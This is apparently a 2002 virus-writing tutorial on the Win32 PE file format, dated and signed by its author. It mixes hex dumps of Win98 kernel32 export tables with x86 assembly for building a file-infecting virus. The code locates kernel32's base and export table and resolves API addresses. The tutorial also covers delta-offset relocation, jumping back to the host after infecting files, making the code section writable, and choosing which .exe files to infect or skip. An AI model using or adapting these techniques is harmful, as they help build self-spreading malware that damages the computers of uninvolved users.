It's very clear that some bytes have change ! ! ! The loader has write entry point of imported APIs and others values I have describe... The 60 first bytes are the 3 IMPORT DATA DIRECTORYs. the Last IMPORT DATA DIRECTORY is null to set the end.

I will try to explain with the first IMPORT DATA DIRECTORY (20 first bytes) :

-At offset 00403000h is an 'RVA to a list of pointer to APIs names': this RVA is 00003058h so we go on 00403058h and we will found a list of (RVA)pointer. (the last pointer of the list is NULL).

-At offset 00403058h is a first rva pointer: this values is 00003078h. so we go on 00403078h and we found 0,0,"MessageBoxA",0 ; This is the Name of the API (The first byte are not always null, but the last byte is null)

-At offset 00403062h is a second rva pointer: this values is 00000000h. so it is the end of this list.

-At offset 00403004h is an DATE/TIME value, no interest...

-At offset 00403008h is the address of the .DLL (from which is imported MessageBoxA) so BFF50000h is the beginning of the .DLL and if you go on BFF50000h you will find the PE header of the .DLL (so the first two byte are "MZ")

-At offset 004030Ch is the RVA pointer to .DLL name : here it is 0000303Ch so go on 0040303Ch and you will find "user32.dll",0 ;it is the name of the .DDL . so MessageBoxA is in user32.dll library. -At offset 00403010h is the RVA to API address list: 00003060h so go on 00403060h and you find a list of address of the API: -The 1st address is here: BFF5412Eh . So it is the entry point of the API "MessageBoxA" -The second address is null so it is the end of the list.

So :

mov eax,dword BFF5412Eh ---+-----> do the -------> call MessageBoxA call eax __/ same thing as

the 'list of pointer to APIs names' and the 'list of API addresses' are two parralels list: example:

the 3rd 'API name' in the 'list of pointer to APIs names' is relative to the 3rd 'address' in the 'list of API addresses'.

Read several time this part of this article...I can't explain it better...

****************** * EXPORT SECTION * ******************

EXPORT section are found in .DLL file. When a .EXE is load, the loader write on his IMPORT section the APIs address founded in the EXPORT section of the .DLL

The EXPORT section looks like:

+---------------------------------------------------+ | EXPORT DIRECTORY TABLE | +---------------------------------------------------+ | Export Address Table | +---------------------------------------------------+ | Export Name Table Pointers | +---------------------------------------------------+ | Export Ordinal Table | +---------------------------------------------------+ | Export Name Table (API name list) | +---------------------------------------------------+

************************** * EXPORT DIRECTORY TABLE * **************************

The export section begins with the Export Directory Table which describes the remainder of the export information.

+-------------------------+-------------------------+ | EXPORT FLAGS | TIME/DATE | +-------------------------+-------------------------+ | MAJ\MIN VERSION | NAME RVA | +-------------------------+-------------------------+ | ORDINAL BASE | # EAT ENTRIES | +-------------------------+-------------------------+ | # NAME POINTERS | ADDRESS TABLE RVA | +-------------------------+-------------------------+ | NAME POINTER TABLE RVA | ORDINAL TABLE RVA | +-------------------------+-------------------------+

EXPORT FLAGS : currently set to 0

TIME/DATE STAMP : Time/Date the export data was created.

MAJ\MIN VERSION : A user settable major/minor version number.

NAME RVA : RVA of the DLL ASCII Name.

ORDINAL BASE : First valid exported ordinal. This field specifies the starting ordinal number for the Export Address Table for this image. Normally set to 1.

# EAT ENTRIES : Indicates number of entries in the Export Address Table.

# NAME POINTERS : This indicates the number of entries in the Name Pointer Table (and parallel Ordinal Table).

ADDRESS TABLE RVA : RVA of the Export Address Table.

NAME POINTER TABLE RVA : RVA of the Export Name Table Pointers. This address is relative to the beginning of the Image Base. This table is an array of RVA's with #Names entries.

ORDINAL TABLE RVA : RVA of Export Ordinals Table Entry.

************************ * Export Address Table * ************************ The Export Address Table contains list of dword of the address of exported entrypoints of the API of the .DLL . An ordinal number is used to index the Export Address Table. The Ordinal Base must be subtracted from the ordinal number before indexing into this table.

****************************** * Export Name Table Pointers * ******************************* The Export Name Table pointers array contains an address into the Export Name Table. The pointers are 32-bits each (DWORD), and are relative to the Image Base. The pointers are ordered lexically to allow binary searches.

************************ * Export Ordinal Table * ************************ The Export Name Table Pointers and the Export Ordinal Table form two parallel arrays, separated to allow natural field alignment. The export ordinal table array contains the Export Address Table ordinal numbers associated with the named export referenced by corresponding Export Name Table Pointers. The ordinals are 16-bits each (WORD), and already include the Ordinal Base stored in the Export Directory Table.

********************* * Export Name Table * ********************* The Export Name Table contains optional ASCII names for exported entries in the image. These tables are used with the array of Export Name Table Pointers

and the array of Export Ordinals to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the Export Address Table. Import references by name require the Export Name Table Pointers table to be binary searched to find the matching name, then the corresponding Export Ordinal Table is known to contain the entry point ordinal number. Import references by ordinal number provide the fastest lookup because searching the name table is not required. ASCII Strings are case sensitive and is terminated by a null byte.

So let's take a look at kernel32.DLL (win98) after being load on memory by windows

MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFF70000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.............. BFF70010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ................ BFF70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ BFF70030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ................ BFF70040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..............Th BFF70050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program.canno BFF70060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS. BFF70070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode............ BFF70080 50 45 00 00 4C 01 05 00 B4 C2 1F 37 00 00 00 00 PE.............. BFF70090 00 00 00 00 E0 00 0F 21 0B 01 03 0A 00 60 05 00 ................ BFF700A0 00 AA 01 00 00 00 00 00 6F 4B 01 00 00 10 00 00 ................ BFF700B0 00 90 05 00 00 00 F7 BF 00 10 00 00 00 10 00 00 ................ BFF700C0 04 00 00 00 01 00 09 00 04 00 00 00 00 00 00 00 ................ BFF700D0 00 50 07 00 00 04 00 00 98 C3 07 00 02 00 00 00 ................ BFF700E0 00 00 10 00 00 10 00 00 00 80 00 00 00 10 00 00 ................ BFF700F0 00 00 00 00 10 00 00 00 50 09 05 00 B5 4F 00 00 ................ BFF70100 00 00 00 00 00 00 00 00 00 D0 05 00 CC 76 01 00 ................

.DLL and .EXE have the same structure

-at offset BFF70000h is the MZ signature -at offset BFF7003Ch is the new header relocation: 00000080h so we go on BFF70080h -at offset BFF70080h is the PE signature, the beginning of the PE header -at offset BFF700B7h is the image base: BFF70000h -at offset BFF700F8h is the RVA of the EXPORT section : 00050950h Go on BFFC0950h (BFF70000h + 00050950h)

MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC0950 00 00 00 00 A0 C2 1F 37 00 00 00 00 72 28 05 00 BFFC0960 01 00 00 00 61 03 00 00 E9 02 00 00 78 09 05 00 BFFC0970 FC 16 05 00 A0 22 05 00 D4 13 00 00 D4 13 00 00 BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00

It is the beginning of EXPORT section, the 20 first byte are the EXPORT DIRECTORY TABLE #1 , the 20 next byte are the EXPORT DIRECTORY #2 ,.....,

the EXPORT DIRECTORY TABLE #1 is:

-At offset BFFC0950h are the flags : 00000000h -At offset BFFC0954h the time and date the kernel was load : 371FC2A0 -At offset BFFC0958h the version of the .DLL : 00000000h -At offset BFFC095Ch the name RVA :00052872h (BFFC2872h=image_base+this_RVA) -At offset BFFC0960h the ordinal base: 00000001h -At offset BFFC096Ch the ADDRESS TABLE RVA : 00050978h (BFFC0978h=image_base+RVA) -At offset BFFC0970h the NAME POINTER TABLE RVA : 000516FCh (BFFC16FCh=image_base+RVA) -At offset BFFC0974h the ORDINAL TABLE RVA : 000522A0h (BFFC22A0h=image_base+RVA)

Let's see the kernel on memory at different address:

____________________________________________________________________________

NAME OF .DLL and API NAME LIST MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC2870 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 41 ..KERNEL32.dll.A BFFC2880 64 64 41 74 6F 6D 41 00 41 64 64 41 74 6F 6D 57 ddAtomA.AddAtomW BFFC2890 00 41 6C 6C 6F 63 43 6F 6E 73 6F 6C 65 00 41 6C .AllocConsole.Al BFFC28A0 6C 6F 63 4C 53 43 61 6C 6C 62 61 63 6B 00 locLSCallback. ____________________________________________________________________________

ADDRESS TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC0970 D4 13 00 00 D4 13 00 00 ........ BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 ................ BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 ................ BFFC09A0 B6 17 02 00 BA 18 01 00 33 F7 01 00 DA 0B 01 00 ................ BFFC09B0 76 C5 00 00 3D B5 03 00 19 13 00 00 E8 E4 00 00 ................ BFFC09C0 E2 F5 02 00 62 CF 02 00 C0 CF 02 00 9A CF 02 00 ................ BFFC09D0 66 2B 02 00 9C B0 02 00 7A B3 02 00 3A B4 02 00 ................ BFFC09E0 8B AF 02 00 8F AF 02 00 93 AF 02 00 97 AF 02 00 ................ BFFC09F0 DB B3 02 00 DE B0 02 00 16 49 00 00 1C 97 02 00 ................ BFFC0A00 9E B3 02 00 87 AF 02 00 AE AF 02 00 74 1F 00 00 ................ BFFC0A10 AB 1F 00 00 A4 16 00 00 7A 15 00 00 A1 16 00 00 ................ BFFC0A20 5D 15 00 00 9E 16 00 00 14 14 00 00 39 16 00 00 ................ BFFC0A30 9B 16 00 00 C5 21 00 00 EE 21 00 00 1F 16 03 00 ................ ____________________________________________________________________________

API NAME POINTER TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC16F0 7F 28 05 00 .... BFFC1700 88 28 05 00 91 28 05 00 9E 28 05 00 AE 28 05 00 ................ BFFC1710 BE 28 05 00 CE 28 05 00 D9 28 05 00 E4 28 05 00 ................ BFFC1720 F0 28 05 00 F5 28 05 00 0A 29 05 00 1F 29 05 00 ................ ____________________________________________________________________________

ORDINAL TABLE MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

BFFC22A0 31 00 75 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00 BFFC22B0 80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00 BFFC22C0 88 00 89 00 8A 00 8B 00 8C 00 8D 00 8E 00 8F 00 BFFC22D0 90 00 94 00 91 00 92 00 93 00 95 00 96 00 97 00 BFFC22E0 98 00 99 00 9A 00 9B 00 9C 00 9D 00 9E 00 9F 00 BFFC22F0 A0 00 A1 00 A2 00 A3 00 A4 00 A5 00 A6 00 A7 00 BFFC2300 A8 00 A9 00 AA 00 AB 00 AC 00 AD 00 AE 00 AF 00 ____________________________________________________________________________

Now I will try to explain how to find the address of the first API in the API Name list:

API NAME POINTER TABLE and ORDINAL TABLE are two parallel table: the 1st API NAME POINTER has for ordinal the 1st ordinal in ORDINAL TABLE the 2nd API NAME POINTER has for ordinal the 2nd ordinal in ORDINAL TABLE . . . . . . . . . . . . . . . . . . . . . . . . . .

look at the beginning of API NAME POINTER TABLE and ORDINAL TABLE * The first API NAME POINTER is: 0005287Fh (image_base+this_RVA=BFFC287Fh) So see on BFFC287Fh: you find the ASCII string "AddAtomA",0 ;it is a name of an API

* The first ORDINAL NUMBER is: 0031h (49 in decimal)

So here is a problem for me to explain it to you: Some doc about PE file format say that you you should do this substraction: ( ORDINAL_NUMBER - ORDINAL_BASE ) in order to find the right ordinal number. But I don't understand it and I think it don't works. Some say this: "The ordinals (WORD) already include the Ordinal Base stored in the Export Directory Table and are 0 based.". I think it's right

so the first address on ADDRESS TABLE as for ordinal 0 the 2nd address on ADDRESS TABLE as for ordinal 1 the 3rd address on ADDRESS TABLE as for ordinal 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

so go on ordinal 0031h (49 in decimal) and you will find this address: 0003161Fh(at offset BFFC0A3Ch) .But don't forget to do this:

0003161Fh + image_base = 0003161Fh + 0BFF70000h = BFFA161Fh

So the entry point (address) of the API 'AddAtomA' is BFFA161Fh !!!!!!!!!

============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- | + + / \ |___/ | | | |____ + + /------\ | \ | --+----+-- \ + + / \ | \ | | | ____/ + + + =============================================================

ACCESING WIN32 APIs

So we have see in the preview part that the problem for us is that kernel32.dll And the entry point of API are not always at the same place. So our objective is to find API address needed to run the virus: (like CreateFile, WriteFile,...) To do this you should Find only two API address: GetModuleHandle (or LoadLibraryA) and GetProcAddress. With them you can all the other API address you want...

There is two way to find GetModuleHandle (or LoadLibraryA) and GetProcAddress Address:

- By scanning the IMPORT section of the host file:

The problem here is that is the file don't import GetModuleHandle and GetProcAddress so you can not find other API you need

- By scanning the EXPORT section of kernel32.DLL

The problem here is to find the image base (address) of kernel32.dll. In win9X the addresses of .DLL were written on IMPORT section of the .EXE but it is not the case on NT,2000,XP. So you can use this algo:

-find IMPORT section RVA in PE OPTIONAL HEADER -find the first API address imported from kernel32.DLL -set edi=this address found -dec edi till you found the beginning of kernel32.dll ('MZ') this code is only an example to find "MZ" signature in kernel32.dll

;***************scan_IMPORT: ;*;***************

mov esi,[image_base+ebp] ; point on image base, this value should be ; set at link time and be change during ; infection if the prog as a different image ; base mov eax,esi ; add eax,3ch ; eax point on offset reloc_dword mov eax,[eax] ; add eax,esi ; eax point to the PE header add eax,128 mov eax,[eax] add eax,esi ; eax point to import table add eax,12 ; point to the .dll name ;******************find_kernel32: ;*;******************

xor ebx,ebx cmp dword[eax],ebx ; end of object table? je erreur ; if yes then end call is_it_kernel32 ; FIND ascii sting "kernel32.dll" cmp ecx,3 ; found? jae find_kernel_image_base ; if yes then find_kernel_image_base add eax,20 ; no then point to an other .DLL name jmp find_kernel32 ;

;************************find_kernel_image_base:;*;************************

mov eax,[eax+4] ; point to the list of API addresses pointer add eax,esi ; point to API addresses list mov eax,[eax] ; eax=address of the 1st API imported from ; kernel32.dll xchg edi,eax

;********************find_MZ_in_kernel: ;*;********************;so edi is an unknow address somewhere in kernel32.dll

dec edi mov esi,edi cmp word[edi],"MZ" ; edi point to the beginning of kernel32.dll ? jne find_MZ_in_kernel ; if no then dec edi

mov esi,[esi+3ch] ; verify if header_reloc_dword < 200h cmp esi,dword 200h ; in order not to crash the program ja find_MZ_in_kernel

add esi,edi ; go on the new header cmp word[esi],"PE" ; PE header? jne find_MZ_in_kernel ; no! then dec edi add esi,52 ; point to image_base_dword

cmp edi,dword[esi] ; compare image_base with pointer esi jne find_MZ_in_kernel ; not equal! then dec edi ; now edi=image base of kernel32.dll

mov esi,edi ; now esi=image base of kernel32.dll add esi,3ch ; mov esi,[esi] ; add esi,edi ; esi point to the PE header

add esi,120 mov esi,[esi] ; add esi,edi ; !!! esi point now to the EXPORT TABLE !!!ret ;; NOW you should find address of GetModuleHandle and GetProcaddress; in the EXPORT section. and with these two APIs you will find; all you need !!!!!;;; GOOD LUCK !!!!!!!!!;;;******************is_it_kernel32: ;*;******************

xor ecx,ecx mov ebx,dword[eax] add ebx,esi ; ebx point to the name of the dll

cmp dword[ebx],"Kern" ;

jne az1 ; this code return ecx=3 if "Kernel32.DLL" inc ecx ; ASCII string is found.az1: ; cmp dword[ebx+4],"el32" ; But you should search too for: jne az2 ; "KERNEL32.DLL" inc ecx ; "kernel32.DLL"az2: ; "Kernel32.dll" cmp dword[ebx+16],".DLL" ; ... jne az3 ; ... inc ecx ; ...az3: ; ret ;

This piece of code is not optimised in order to be easy understood. You should find your own way to code this part.

============================================================= + ________ + + /\ |---\ | | | ___ + + / \ | | | --+----+-- / + + / \ |___/ | | | /____ + + /------\ | \ | --+----+-- | \ + + / \ | \ | | | \___/ + + + =============================================================

HOW TO USE SOME APIs

+++++++++++++++++++ + GetModuleHandle + +++++++++++++++++++

The GetModuleHandle function returns a module handle for the specified module if the file has been mapped into the address space of the calling process.

push lpModuleName ; address of module name to return handle for call GetModuleHandleA

Parameters:

* IpModuleName

Points to a null-terminated string that names a Win32 module (either a .DLL or .EXE file). If the filename extension is omitted, the default library extension .DLL is appended. The filename string can include a trailing point character (.) to indicate that the module name has no extension. The string does not have to specify a path. The name is compared (case independently) to the names of modules currently mapped into the address space of the calling process. If this parameter is NULL, GetModuleHandle returns a handle of the file used to create the calling process.

Return Values

If the function succeeds, the return value is a handle to the specified module. If the function fails, the return value is NULL

_____________________________________________________________________________

+++++++++++++++++++ + GetProcAddress + +++++++++++++++++++

The GetProcAddress function returns the address of the specified exported dynamic-link library (DLL) function.

push dword lpProcName ;name of function push dword [hModule] ;handle to DLL module call GetProcAddress

Parameters

* hModule Identifies the DLL module that contains the function. The LoadLibrary or GetModuleHandle function returns this handle.

* lpProcName

Points to a null-terminated string containing the function name, or specifies the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero. Return Values

If the function succeeds, the return value is the address of the DLL's exported function. If the function fails, the return value is NULL.

_____________________________________________________________________________

Example:

push dword Kern ; address of .DLL ascii name to return his handle call GetModuleHandleA ; return eax=handle mov dword[handle],eax ; save handle

push dword fct1 ; address of the ascii name of the API push dword[handle] ; handle of module call GetProcAddress

fct1 db"WriteFile",0 Kern db "Kernel32.dll",0 handle dd 0

_____________________________________________________________________________

+++++++++++++++++ + FindFirstFile + +++++++++++++++++

The FindFirstFile function searches a directory for a file whose name matches the specified filename. FindFirstFile examines subdirectory names as well as filenames.

push dword lpFileName ; pointer to name of file to search for push dword lpFindFileData ; pointer to returned information call FindFirstFileA

Parameters

* lpFileName:

Points to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters (* and ?). This string must not exceed MAX_PATH characters.

* pFindFileData:

Points to the WIN32_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to the FindNextFile or FindClose function to refer to the file or subdirectory.

Return Values

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose. If the function fails, the return value is INVALID_HANDLE_VALUE (-1 or 0FFFFFFFFh)

Example:

push dword Win32data ; add of structure of information about the file push dword exe_mask ; address of ascci name of the file to search call FindFirstFileA ; return in eax an search handle cmp eax,-1 ; je error ; error? file not found? mov dword[search_handle],eax ; save handle

search_handle dd 0exe_mask db"*.exe",0

Win32data: FileAttributes dd 0 ;attributes CreationTime dd 0,0 ;time of creation LastAccessTime dd 0,0 ;last access time LastWriteTime dd 0,0 ;last modification FileSizeHigh dd 0 ;filesize FileSizeLow dd 0 ; " Reserved0 dd 0 Reserved1 dd 0 FileName resb 260 ;long filename AlternateFileName resb 13 ;short filename

_____________________________________________________________________________

++++++++++++++++ + FindNextFile + ++++++++++++++++ The FindNextFile function continues a file search from a previous call to the FindFirstFile function.

push dword Win32data ; address of Win32data push dword[hFindFile] ; handle to search call FindNextFileA

Parameters

* hFindFile

Identifies a search handle returned by a previous call to the FindFirstFile function.

* lpFindFileData

Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to refer to the found file or directory.

Return Values

If the function succeeds, the return value is nonzero. If the function fails, the return value is zero.

Example:

push dword Win32data ; address of Win32data push dword [search_handle] ; handle to search call FindNextFileA cmp eax,0 ; no more file? je error ; ____________________________________________________________________________

++++++++++++++ + CreateFile + ++++++++++++++

The CreateFile function creates or opens the following objects and returns a handle that can be used to access the object:

files, pipes , mailslots ,communications resources ,disk devices (Windows NT only) consoles ,directories (open only)

example:

push dword 0 push dword 0 push byte 3 ; OPEN_EXISTING flag: Opens the file. push dword 0 push dword 3 ; FILE_SHARE_READ n' FILE_SHARE_WRITE flags. push dword 0c0000000h ; flag for Read/Write access push dword FileName ; FileName address in win32data (File to open) call CreateFileA ; return eax=handle of the file mov [handle+ebp],eax ; save handle of the file inc eax ; jz erreur ; if eax=0ffffffffh then error

_____________________________________________________________________________

See also the APIs CreateFileMapping MapViewOfFile OpenFileMapping UnmapViewOfFile

MapAndLoad UnMapAndLoad CloseHandle SetEndOfFile SetFileTime WriteFile ReadFile SetFilePointer SetCurrentDirectory GetCurrentDirectory GetWindoxsDirectory

============================================================= + ________ + + /\ |---\ | | | _____ + + / \ | | | --+----+-- / + + / \ |___/ | | | / + + /------\ | \ | --+----+-- / + + / \ | \ | | | / + + + =============================================================

DELTA OFFSET

I will now explain to you the DELTA OFFSET but first take a look at your first WIN32 program (hello.EXE)

I you have understood how a PE .EXE file is made so you will understand that the code section begin at offset 00401000h (entry_point+image_base) (in a standard PE file, normaly linked)

OFFSET | OPCODE IN HEX VALUE | CODE ----------|----------------------------------|---------------------- 00401000h | 6A00 | push byte 0 00401002h | 681A104000 | push dword caption 00401007h | 6834104000 | push dword text 0040100Ch | 6A00 | push byte 0 0040100Eh | E8ED0F0000 | call MessageBoxA 00401013h | 6A00 | push byte 0 00401015h | E8EC0F0000 | call ExitProcess 0040101Ah | 596F757220666972737420 | caption db "Your first | 57494E33322070726F6772616D6D00 | WIN32 programm",0 00401034h | 48454C4C4F00 | test db "HELLO",0

look now at offset 00401002h , you see that : 68 1A104000 | | +--------------------+ | | | +--------------------------+ +-----------+ | push on stack the dword | | 0040101Ah | +-------------+------------+ +-----------+ | push dword | | caption | +------------+ +-----------+

Did you see our problem ? NO ! so imagine that you put this piece of code at the end of one another file (like a virus do) , so the code will not run

because the address of "caption" label has change ! ! ! It will not run for a second reason: The IMPORT section is not the same...

The delta offset technique is the most used:

call delta ; (push eip) delta: pop ebp ; (ebp=eip) sub ebp,dword delta

when you make a CALL the value of the EIP register is push on stack so you pop him (pop ebp) and sub him to the dword 'offset delta' and now ebp point to delta label (ebp=offset delta)

so the code: mov eax,dword label1 mov ebx,dword[label2]

should be change in : call delta delta: pop ebp sub ebp,dword delta

lea eax,[label1+ebp] mov ebx,dword[label2+ebp]

CLEAR ? ? ? There is other technique to do the same thing with no use of the delta technique... Note that you can do this too:

call delta delta: pop edx sub eax,dword delta ... ... ... lea eax,[label1+edx] mov ebx,dword[label2+edx]

but the register edx should never change in all your code ! ! !

============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- / \ + + / \ |___/ | | | \____/ + + /------\ | \ | --+----+-- / \ + + / \ | \ | | | \____/ + + + =============================================================

RETURN TO THE HOST

A WIN32 PE .EXE file begin with eax=program_entry_point. To return to the host it's very simple:

virus_begin_here:

pushad ; save registers on stack

; ; INFECT FILES ! ;

mov eax,dword[image_base+ebp] ; add eax,dword[original_entry_point+ebp] ; mov dword[jump+ebp+1],eax ; simulate a jmp to original entry ; point

popad ; restore registersjump: db 68h,0,0,0,0 ; simulate push word[address_of_original_entry_point+ebp] ret ; return to the host !!!!!!!

============================================================= + ________ + + /\ |---\ | | | ____ + + / \ | | | --+----+-- / \ + + / \ |___/ | | | \____/ + + /------\ | \ | --+----+-- / + + / \ | \ | | | __/ + + + =============================================================

************************** * CODE SECTION WRITEABLE * **************************

when you code a virus you put your code, data, idata in only one section (in the code section) But when the linker link your vx it create a 'non writeable' code section so you have to change the flag of your code section (in object table)

quick view in hexadecimal:

when you link an 'normal' program, the code section looks like (in object table):

00000160 43 4F 44 45 00 00 00 00 CODE....00000170 00 10 00 00 00 10 00 00 CF 00 00 00 00 04 00 00 ................00000180 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................

at offset 18Ch you see the flag: 60000060h

200000000h Executable object

+ 400000000h Readable object + 000000020h Code object + 000000040h Initialized data object ---------- 60000060h

so with this flag you can't write on this section , so change the flags!!! (don't forget to inverse the byte of the dword !!)

******************** * REDUCE YOUR CODE * ********************

You can optimise your code for two reasons:

- To have a code which run faster. - To have the smallest code possible.

Theses two aspect of optimisation are very interesting for a virus, but I will speak here only about how to have the smallest code possible.

Of course you can use some old trick like : (read old V zine)

xor eax,eax instead of push dword 0 push eax . push dword 0 push eax . push dword 0 push eax .

or eax,eax instead of cmp eax,0 jz go_somewhere . je go_somewhere

xor eax,eax instead of mov eax,4 mov al,4 .

jecxz go_away instead of cmp ecx,0 . je go_away

But I will not tell you here how to minimize your op codes...Let's read zine. Imagine now that you have minimize your op codes to the maximum ! You can still reduce your code...HOW? take a look at your buffers, they take an enormous place in your code. I think to the Win32Data buffer for example.

Win32data: FileAttributes dd 0 CreationTime dd 0,0 LastAccessTime dd 0,0 LastWriteTime dd 0,0 FileSizeHigh dd 0 FileSizeLow dd 0 Reserved0 dd 0 Reserved1 dd 0 FileName resb 260 AlternateFileName resb 13

317 bytes long !!!!! The trick is not to put your buffer in the code but in memory. To do that you need an API to allocate memory: You can use GlobalAlloc.

;------------------------------------------------------------------------------; push dword 317 ; nb of byte to allocate ; push dword 40h ; ZERO_INIT flag ; call [XGlobalAllocX+ebp] ; [XGlobalAllocX] is the address of ; ; GlobalAlloc API you have found after ; ; scanning IMPORT or EXPORT table ; mov dword[mem_alloc+ebp],eax ; save the offset of the allocated memory ;;------------------------------------------------------------------------------;

Ok. Now you have allocated some memory for your Win32DATA. Use this memory_buffer like this:

;---------------------------------------------------------------------------;;******************** ;find_first: ;** ;;******************** ; mov eax,[mem_alloc+ebp] ; ; push eax ; offset of Win32 in memory ; lea eax,[exe_mask+ebp] ; ; push eax ; file to find ; call dword [XFindFirstFileAX+ebp] ; search! ; mov dword[search_handle+ebp],eax ; save handle ; ret ; exe_mask db "*.exe",0 ; search_handle dd 0 ; ;;---------------------------------------------------------------------------- use push dword[mem_alloc+ebp] to free the memory call [XGlobalFreeX]

If you have a lot of buffer you can reduce your code by 400 or 500 bytes ! It is not very hard to adjust your code.

Cool isn't it?

********************** * COMPRESSED PE FILE * **********************

Some PE .EXE are compressed by some software like UPX. It's cool when you want to reduce the size of the .EXE ( to put in an download area on the web for example) I know only 3 way to check them:

- number of APIs imported:

in a PE .EXE compressed file, the import section contains only a few APIs imported. You can check the number of APIs imported from kernel32.dll and you should avoid the infection if the file imports less than 7,8 or 10 APIs

- flags of the section in object table...

Some PE compressor set special flag of the section in the object table

- ASCII name of the file

You can check if the file name contains those words: setup, install, ... You should not infect those type of file !!!!!!!!!!

====================================================================================================================================================

I hope that this tutorial will help you but don't forget this:

DON'T DESTROY ANYTHING !!!

PEACE !

LiTlLe VxW

October 2002